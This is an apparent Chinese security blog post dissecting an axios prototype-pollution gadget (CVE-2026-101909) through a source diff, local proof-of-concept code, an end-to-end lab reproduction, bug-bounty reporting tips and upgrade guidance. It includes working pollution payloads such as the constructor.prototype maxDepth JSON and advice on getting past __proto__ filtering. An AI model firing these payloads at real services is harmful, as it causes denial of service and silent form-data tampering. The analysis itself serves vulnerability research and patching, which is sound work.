CVE-2026-101909深度解析:Axios不是漏洞入口,而是原型污染的「放大器」"

admin 2026-10-16 06:48:04 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

CVE-2026-101909 深度解析:Axios 不是漏洞入口,而是原型污染的「放大器」

原创

钟智强
钟智强

哪吒网络安全

2026年9月29日 22:42
马来西亚

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

很多人看到这个 CVE 的第一反应是:「Burp 里改一下 Axios 的 maxDepth 就能打」。

这个理解是错的。本文用可运行的本地 POC + 真实源码 diff,把「污染源」和「Gadget」这两件事彻底拆开。

写在前面

CVE-2026-101909 在传播过程中被简化得太厉害了,出现了大量失真表述:

·错误说法:「Axios 存在 RCE」

·错误说法:「Burp 改个参数就能控制 Axios 序列化」

·错误说法:「6 个属性都能被污染」

这些说法里,只有最后一条「部分正确」。本文所有结论均来自本地实测(Node.js v20 + axios 1.19.0 / 1.20.0 双版本对照),不是纸上推演。

先校正版本信息:

项目 内容
漏洞名称 Prototype Pollution Gadget in axios toFormData Options
受影响区间 >= 0.28.0 < 0.34.0 以及 >= 1.15.1 < 1.20.0
修复版本 0.34.0 与 1.20.0
漏洞类型 Prototype Pollution \\Gadget\\(非独立入口)

01 一句话结论

Axios 在这里不产生污染,它只「消费」污染。

攻击者

│

▼

另一处漏洞(unsafe merge / 递归赋值 / 危险 parser)   ← 污染源,与 Axios 无关

│

▼

Object.prototype 被写入 maxDepth / visitor / Blob

│

▼

Axios toFormData() 执行时,options = {} 也会沿原型链读到这些值

│

▼

序列化行为被劫持 → 500 / DoS / 字段被静默丢弃或篡改

关键在于:如果目标不存在 prototype-pollution 的入口,光是有个 [email protected],什么都打不成。

02 原型链:理解一切的前提

先把 Axios 放一边。

const options = {};

Object.prototype.maxDepth = 0;

Object.hasOwn(options, \"maxDepth\");  // false ← 自身确实没有

options.maxDepth;                    // 0     ← 但就是读到了

这两行结果同时成立,就是原型链查找:

options 自身是空对象,JS 在它身上找不到 maxDepth,就自动沿原型链向上找到 Object.prototype.maxDepth。

这就是 CVE 的全部基础——也是为什么 axios.toFormData(data, form, {}) 传一个空对象进去,照样会被劫持。

03 根因:两个版本,同一处逻辑,两种写法

我把 axios 1.19.0 和 1.20.0 都装上,直接 diff 了 lib/helpers/toFormData.js。修复手法极其干净:

1.19.0(受影响)

options = utils.toFlatObject(

options,

{

metaTokens: true,

dots: false,

indexes: false,      // ← 注意:默认值对象里只有这三个键

},

false,

function defined(option, source) {

return !utils.isUndefined(source[option]);

}

);

const metaTokens = options.metaTokens;

const visitor    = options.visitor || defaultVisitor;

const dots       = options.dots;

const indexes    = options.indexes;

const \_Blob      = options.Blob || (typeof Blob !== 'undefined' && Blob);

const maxDepth   = options.maxDepth === undefined

? DEFAULT\_FORM\_DATA\_MAX\_DEPTH

: options.maxDepth;

1.20.0(已修复)

const option = (name, fallback) => {

const value = utils.getSafeProp(options, name);

return utils.isUndefined(value) ? fallback : value;

};

const metaTokens = option('metaTokens', true);

const visitor    = option('visitor') || defaultVisitor;

const dots       = option('dots', false);

const indexes    = option('indexes', false);

const \_Blob      = option('Blob') || (typeof Blob !== 'undefined' && Blob);

const maxDepth   = option('maxDepth', DEFAULT\_FORM\_DATA\_MAX\_DEPTH);

而 getSafeProp 的实现是:

const getSafeProp = (obj, prop) =>

obj != null && hasOwnInPrototypeChain(obj, prop) ? obj[prop] : undefined;

hasOwnInPrototypeChain 会沿原型链逐个检查 hasOwnProperty,但一旦越过 Object.prototype 这个边界就停止。于是「只从 Object.prototype 继承来的属性」一律被视为 undefined,污染值再也无法被读到。

这里有个绝大多数文章都没讲透的点

toFlatObject 的第一个参数是用户传入的 options,第二个参数是默认值对象。合并后返回的 options 里,metaTokens / dots / indexes一定存在(被默认值兜底了),而 maxDepth / visitor / Blob不一定存在。

后果是:

·options.dots → 命中默认值 false,继承值被遮蔽,污染无效

·options.maxDepth → 自身没有、默认值也没有 → 只能沿原型链找 → 污染命中

这不是玄学,是默认值对象里有没有那个键决定的。

04 实测:6 个属性里,只有 3 个真能被打到

我对公开描述中提到的 6 个属性逐个做了对照实验(代码见文末 POC 的 EXP-3),结果如下:

option 默认值兜底 可继承污染 实测效果 利用门槛
maxDepth 无 是 抛 AxiosError,请求 500 / DoS \\低(标量即可)\\
visitor 无 是 字段被静默丢弃或篡改 高(需函数注入)
Blob 无 是 Blob 构造器被替换 高(需函数注入)
dots false 否 无任何变化 不适用
indexes false 否 无任何变化 不适用
metaTokens true 否 无任何变化 不适用

所以「6 个属性都能被污染」是常见误解。 真正可利用的是 3 个,而其中只有 maxDepth 是低门槛——因为它只需要一个标量值,而 visitor 和 Blob 需要攻击者具备函数注入能力(JSON 本身无法传递函数,你得先有更强的 primitive)。

05 本地 POC:一步步跑通

环境

mkdir axios-cve-lab && cd axios-cve-lab

npm init -y

npm install [email protected]     # 落在 >=1.15.1 <1.20.0 受影响区间

建议同时准备修复版做对照:

npm install [email protected] --prefix ./node\_modules\_fixed

EXP-1 最小验证:没有的属性,就是能读到

Object.prototype.maxDepth = 0;

const options = {};

console.log(Object.hasOwn(options, \"maxDepth\")); // false  ← 自身没有

console.log(options.maxDepth);                   // 0      ← 却读到了

EXP-2 Gadget 触发:传空对象照样炸

const axios = require(\"axios\");

const data  = { username: \"alice\", profile: { role: \"user\" } };

const fd = new FormData();

axios.toFormData(data, fd, {});   // ← 第三个参数是空对象

实测输出:

before : OK [[\"username\",\"alice\"],[\"profile[role]\",\"user\"]]

after  : THROW AxiosError: Object is too deeply nested (1 levels). Max depth: 0

注意这里的关键细节:第三个参数 {} 里什么都没写,攻击者的输入完全是 Object.prototype 上的。这就是 gadget 的定义。

maxDepth = 0 意味着「不允许任何一层嵌套」,throwIfMaxDepthExceeded 被触发,直接抛 AxiosError。在真实业务里,这个异常会顺着上传/表单提交链路往上冒,表现为 HTTP 500——这就是它的现实影响:拒绝服务 / 功能中断。

EXP-3 全属性矩阵

见文末 poc.js 的 EXP-3,逐个污染、逐个比对序列化结果,输出上表。

EXP-4 visitor:最阴的一种,不抛异常

visitor 是遍历每个字段时的回调函数。1.19.0 的调用逻辑是:

const result = !(utils.isUndefined(el) || el === null) &&

visitor.call(formData, el, key, path, exposedHelpers);

if (result === true) {

build(el, path ? path.concat(key) : [key], depth + 1);

}

默认 visitor 负责 formData.append(...)。一旦 visitor 被攻击者顶替,append 就不会再发生。实测三种效果:

// B1 静默丢弃全部字段 —— 请求体被清空,服务端收到合法空表单

OK []

// B2 篡改并注入字段 —— 攻击者凭空写入任意 key/value

OK [[\"username\",\"pwned\"],[\"injected\_by\_attacker\",\"pwned\"]]

// B3 代理默认 visitor —— 完整遍历并窃取全量字段(this 就是 FormData)

OK [[\"username\",\"alice\"],[\"profile[role]\",\"user\"],[\"profile[vip]\",\"false\"]]

窃取到的字段: [[\"username\",\"alice\"],[\"profile.role\",\"user\"],[\"profile.vip\",false]]

B1 和 B2 都不抛异常、不改状态码,日志里什么异常都没有,只是数据悄悄变了——这类问题在真实系统里极难被察觉。

不过要冷静:visitor 是个函数,JSON 里没法直接传函数。要走通这条路径,攻击者需要更强的 primitive(比如能控制对象属性的 merge 允许函数值、或存在其他代码注入)。所以它属于「高门槛」,别在报告里把它和 maxDepth 混为一谈。

EXP-5 Blob 构造器劫持

let hits = 0;

Object.prototype.Blob = function (parts) { hits++; return { tag: \"HIJACKED\" }; };

// before : OK [[\"buf\",{}]]

// after  : OK [[\"buf\",\"[object Object]\"]]

// 攻击者构造器被调用次数 = 1

注意:只有数据里存在 ArrayBuffer / TypedArray 时才会走到 new \_Blob([value]) 分支。我第一次用 new Blob() 测的时候「看起来没效果」,是数据选错了——这也是容易误判的地方。

EXP-6 双版本对照

axios 1.19.0(受影响) 污染后: THROW AxiosError: Object is too deeply nested (1 levels). Max depth: 0

axios 1.20.0(已修复) 污染后: OK [[\"username\",\"alice\"],[\"profile[role]\",\"user\"]]

同样的污染、同样的代码,1.20.0 完全免疫。

06 端到端复现:两个请求,中间不传任何参数

本地 POC 只证明了「Axios 会吃污染值」。真实场景要证明的是:一次恶意请求,能影响后续所有请求。

我用 Node 内置 http 起了一个服务(完整代码见 e2e.js):

·POST /api/preferences —— 一个存在原型污染的配置保存接口(脆弱的递归 merge,与 Axios 无关)

·POST /api/upload —— 一个完全正常的上传接口,内部调用 axios.toFormData()

实测输出:

STEP 0  基线:正常上传

-> {\"status\":200,\"fields\":[[\"username\",\"alice\"],[\"profile[role]\",\"user\"]]}

STEP 1a 攻击者提交 {\"\\_proto\\_\":{\"maxDepth\":0}}

[server] Object.prototype.maxDepth = undefined      (未污染成功)

-> 随后正常上传: {\"status\":200,...}

STEP 1b 改用 {\"constructor\":{\"prototype\":{\"maxDepth\":0}}}

[server] Object.prototype.maxDepth = 0              (污染成功)

STEP 2  受害者发起完全正常的业务请求(请求体里没有任何攻击参数)

-> HTTP 500 {\"error\":\"Object is too deeply nested (1 levels). Max depth: 0\"}

附赠一个高频坑点

{\"\\_\\_proto\\_\\_\": {...}} 在多数 merge 实现下根本不生效。

原因:merge 里读 source[\"\\_proto\\_\"] 时,拿到的是对象的真实原型(Object.prototype),而不是 JSON 里那个键的值,递归合并自然什么也没写成。

真正稳的路径是:

{ \"constructor\": { \"prototype\": { \"maxDepth\": 0 } } }

target.constructor 指向 Object 函数,.prototype 就是 Object.prototype,赋值直接落地。

大量 POC 死在这一步,然后被误判为「漏洞不存在」。 你在 Burp 里试的时候,如果 \\_proto\\_ 没反应,别急着下结论,换 constructor.prototype 再试一次。

07 影响评估:这不是 RCE

必须说清楚,否则报告会被打回:

断言 是否成立 说明
[email protected] 是脆弱依赖 成立 版本落在受影响区间
目标因此可被 RCE 不成立 需要同进程内存在 PP primitive,且 RCE 还需额外条件
可被 DoS / 功能中断 成立 maxDepth 触发异常,实测 HTTP 500
数据可被静默篡改 条件成立 需 visitor 函数注入能力

正确的表述应该是:

目标使用受影响版本的 axios,且应用中存在独立的 prototype-pollution 入口;两者组合后,攻击者可通过跨请求污染 Object.prototype,使 axios.toFormData() 读取被污染的 option,导致序列化异常(500)或字段被静默丢弃/篡改。

把「依赖脆弱」和「目标可利用」分开写,报告的通过率会高很多。

08 自查手册

1. 确认实际安装版本

npm ls axios

不要只看 package.json。package.json → package-lock.json → 实际安装版本,这三者可能不一致,以 npm ls 为准。

2. Axios 是间接依赖时

npm why axios

输出会告诉你到底是谁把它带进来的:

my-app

└─┬ some-package

└── [email protected]

如果你的 package.json 里根本没有 axios,但 npm ls 能查到,说明它在依赖树的深处——这种情况最容易漏。

3. 找 sink(代码里到底有没有用到)

grep -R \"toFormData\" .

grep -R \"formSerializer\" .

grep -R \"FormData\" .

没有 sink 就没有 gadget。 即使版本受影响,如果代码里从不调用 toFormData(),这条链就是断的——这一点在写报告前一定要确认。

09 Bug Bounty 实战:怎么找、怎么写

要找的是「两个东西的交叉」

Target

│

├── A. Prototype Pollution Primitive ── JSON parser / 递归 merge / 配置合并 / query parser

│

└── B. Axios Gadget ────────────────── toFormData() 调用点

│

└── 两者都存在,才构成完整链条

单独报「axios 1.19.0」几乎没有价值。厂商大概率回复「已知依赖风险,非可利用漏洞」。

报告模板(可直接套用)

标题:Prototype pollution in /api/preferences leads to DoS via axios

toFormData() gadget (axios 1.19.0, CVE-2026-101909)

影响版本:axios 1.19.0(>=1.15.1 <1.20.0 区间)

前置条件:/api/preferences 存在递归 merge,可污染 Object.prototype

复现步骤:

1. POST /api/preferences  {\"constructor\":{\"prototype\":{\"maxDepth\":0}}}

2. POST /api/upload       (请求体为空,无任何攻击参数)

3. 观察:HTTP 500,服务端异常 Object is too deeply nested

影响:跨请求拒绝服务;上传/表单提交功能全局不可用

修复建议:升级 axios 至 1.20.0,并修复 /api/preferences 的 merge 逻辑

常见被打回的原因

1.只报版本,不报 primitive —— 缺少可复现的污染入口

2.声称 RCE —— 超出实际影响,可信度直接归零

3.POC 用了 \\_\\_proto\\_\\_ —— 自己复现失败,还以为漏洞不存在

4.没证明跨请求 —— 必须展示「两个独立请求」的完整链条

10 修复与缓解

首选:升级

npm install [email protected]     # 1.x 线

npm install [email protected]     # 0.x 线

npm ls axios                 # 确认生效

暂时升不了级时

治本还是要堵住污染源,gadget 只是放大器:

·给递归 merge 加 \\_proto\\_ / constructor / prototype 黑名单

·用 Object.create(null) 承载不可信的合并结果

·对不可信输入用 JSON.parse(s, reviver) 过滤危险键

·合并前校验 Object.hasOwn(target, key)

·Node 可考虑以 --frozen-intrinsics 启动(需评估兼容性)

11 FAQ:几个高频误解

Q:Burp 里直接改成 isAdmin=true 是不是这个 CVE?

不是。那是通用 prototype pollution 造成的权限绕过,走的是应用自己的权限判断逻辑。CVE-2026-101909 特指污染值被 Axios 的 toFormData() 消费这一条路径。两者是「污染源」和「 Gadget」的关系。

Q:Object.prototype.isAdmin = false 然后污染成 true 能绕过权限吗?

能,但那是应用逻辑的问题,跟 Axios 无关。别把它写进这个 CVE 的报告里。

Q:我只看到 axios 版本受影响,能报吗?

能报「脆弱依赖」,但别声称可利用。真正有价值的是找到 primitive + gadget 的完整链条。

Q:visitor 被污染是不是就能执行任意代码?

需要函数注入能力,门槛远高于 maxDepth。JSON 无法传递函数,你得先证明目标存在允许写入函数值的 primitive。

12 一图流总结

ATTACKER

│

▼

Prototype Pollution(另一处漏洞,非 Axios)

│

▼

┌─────────────────────────┐

│     Object.prototype    │

│  maxDepth / visitor / Blob   ← 只有这 3 个无默认值兜底

└───────────┬─────────────┘

│ prototype lookup

▼

┌─────────────────────────┐

│   Axios toFormData()    │

│   读取 inherited option │

└───────────┬─────────────┘

▼

500 / DoS / 字段被静默丢弃

记住这句话就够了: 这个 CVE 的核心不是「Burp 直接改了 Axios 的参数」,而是「Burp 触发另一处污染 → 污染 Object.prototype → Axios 在正常运行时经原型链读到了这个值」。

附:POC 文件说明

文件 用途
poc.js 6 组本地实验:继承验证 / maxDepth / 全属性矩阵 / visitor 三效果 / Blob / 双版本对照
e2e.js 端到端两阶段 HTTP 复现,含 \\_\\_proto\\_\\_ 与 constructor.prototype 对比

npm install [email protected]

node poc.js

node e2e.js

本文所有输出均为本地实测结果(Node.js v20.19.5,axios 1.19.0 与 1.20.0 双版本对照)。版本区间与官方定名以 Axios 官方安全公告为准。

\如果你也在挖这条链,欢迎把你的实测结果贴在评论区——尤其是哪些 merge 实现对 \\_proto\\_ 有效、哪些必须走 constructor.prototype,这块值得单独攒一份清单。\

加入我们团队。以下是群聊二维码:



CVE-2026-101909深度解析:Axios不是漏洞入口,而是原型污染的「放大器」" 网络安全文章

CVE-2026-101909深度解析:Axios不是漏洞入口,而是原型污染的「放大器」"

本文深度解析CVE-2026-101909,指出Axios并非原型污染入口而是消费污染值的Gadget。受影响版本为0.28.0至0.34.0及1.15.1至1.20.0,修复版本为0.34.0与1.20.0。实测仅maxDepth、visitor、Blob三个属性可利用,其中maxDepth门槛最低可致DoS。文章提供完整POC与双版本对照验证,强调需配合其他污染源才能利用。
前大疆员工爆料:不管你在哪上班,如果你现在处在一个“冷淡”的办公环境,大家都淡淡的,各干各的,这可能才是最舒服健康的环境。" 网络安全文章

前大疆员工爆料:不管你在哪上班,如果你现在处在一个“冷淡”的办公环境,大家都淡淡的,各干各的,这可能才是最舒服健康的环境。"

本文讨论程序员在冷淡办公环境中的感受,认为安静环境有利于专注工作,但需区分冷淡与冷漠。健康职场应边界清晰、有事说事,保留必要沟通。AI普及后高质量沟通更重要,最舒服状态是各忙各的、互不打扰。
架构安全的理论基础" 网络安全文章

架构安全的理论基础"

本文从架构设计视角分析transformer架构的安全性质,提出安全架构设计的形式化原则,包括注意力机制无界性、位置编码外推脆弱性、残差累积风险等,并给出指令-数据解耦、注意力受限、安全感知位置编码等设计原则,以及硬约束与软约束的形式化对齐方法,最后讨论安全-性能权衡与架构搜索方法。
评论:0   参与:  0